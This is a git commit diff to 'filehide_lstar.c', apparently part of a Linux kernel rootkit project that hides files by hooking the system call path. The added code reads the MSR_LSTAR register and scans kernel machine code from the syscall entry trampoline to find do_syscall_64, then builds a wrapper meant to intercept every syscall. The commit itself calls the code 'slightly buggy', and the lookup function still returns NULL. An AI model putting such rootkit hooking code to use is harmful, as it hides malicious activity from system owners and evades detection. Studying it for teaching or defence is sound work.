commit bb8e1706b2b49ce837f1fbb936d05d3f4b031004
parent b8b58fd70066d4aa9f0ba4d550c449de4acc78cb
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Fri, 8 Jan 2021 21:03:37 +0100
(Only slightly buggy) do_syscall_64 address implemented
Diffstat:
M | src/filehide_lstar.c | | | 76 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------- |
1 file changed, 65 insertions(+), 11 deletions(-)
diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c
@@ -6,39 +6,93 @@
#include "filehide_lstar.h"
#include "common.h"
-#define SEARCHLEN 4096
+#define SEARCHLEN 512
-//This signature entails the register clearing and setup before the call (opcode e8); what follows is the offset for do_syscall64.
-//Should definitely be unique enough for the limited amount of bytes we search as even
-//$ hexdump -C vmlinux | grep -A 2 "31 ff 48 89 c7" only results in two matches for the whole kernel image
-static char sig[20] = {0x45, 0x31, 0xe4, 0x45, 0x31, 0xed, 0x45, 0x31, 0xf6, 0x45, 0x31, 0xff, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0xe8, 0x00};
+//Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece
+//(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64
+
+//sign-extended mov rdi, imm
+static char *movSignExtended = "\x48\xc7\xc7";
+
+//The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy
+static char *callNearRelative = "\xE8";
static unsigned long read_msr(unsigned int);
-static char *find_do_syscall64(char *lstar_addr);
+static char *find_do_syscall_64(char *lstar_addr);
void g7_syscall_64(unsigned long, struct pt_regs *);
-void (*do_syscall64)(unsigned long, struct pt_regs *);
+void (*do_syscall_64)(unsigned long, struct pt_regs *);
void
test_lstar(void)
{
char *lstar_addr = (char *)read_msr(MSR_LSTAR);
- char *syscall64_base = find_do_syscall64(lstar_addr);
+ char *syscall64_base = find_do_syscall_64(lstar_addr);
+}
+
+//Only use with multiples of 16..
+static void
+hexdump(char *addr, int n)
+{
+ int k = 0;
+
+ DEBUG_INFO("Hexdump:\n");
+ while(k <= n) {
+ DEBUG_INFO("%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX",
+ addr[k], addr[k + 1], addr[k + 2], addr[k + 3], addr[k + 4], addr[k + 5], addr[k + 6], addr[k + 7], addr[k + 8], addr[k + 9],
+ addr[k + 10], addr[k + 11], addr[k + 12], addr[k + 13], addr[k + 14], addr[k + 15]);
+ k += 16;
+ }
}
+static inline long
+sign_extend(int n)
+{
+ if(n & (1 << 31))
+ return n |= 0xFFFFFFFF00000000;
+
+ return n;
+}
static char *
-find_do_syscall64(char *lstar_addr)
+find_do_syscall_64(char *lstar_addr)
{
- //parse asm and find sig
+ //Step 1: get address of stage 2 trampoline
+ char *stage2_ptr = strnstr(lstar_addr, movSignExtended, SEARCHLEN);
+
+ if(!stage2_ptr)
+ return NULL;
+
+ unsigned long stage2_addr = 0;
+ memcpy(&stage2_addr, (stage2_ptr + 3), 4); //3 bytes offset to skip opcode
+
+ //Sign-extend manually
+ stage2_addr = sign_extend(stage2_addr);
+
+ //Step 2: conveniently, no 'pointer' chasing is necessary, we can just look for the jump opcode from here
+ char *syscall64_off_ptr = strnstr((char *)stage2_addr, callNearRelative, SEARCHLEN);
+
+ if(!syscall64_off_ptr)
+ return NULL;
+
+ unsigned long syscall64_off = 0;
+ memcpy(&syscall64_off, (syscall64_off_ptr + 1), 4); //1 byte offset to skip opcode
+
+ syscall64_off = sign_extend(syscall64_off);
+
+ unsigned long do_syscall_64_addr = (unsigned long)syscall64_off_ptr + syscall64_off;
+ hexdump((char *)do_syscall_64_addr, 128);
+
+ DEBUG_INFO("g7_syscall_64 at %lx\n", (unsigned long)g7_syscall_64);
+
return NULL;
}
void
g7_syscall_64(unsigned long nr, struct pt_regs *regs)
{
- do_syscall64(nr, regs);
+ do_syscall_64(nr, regs);
}
static unsigned long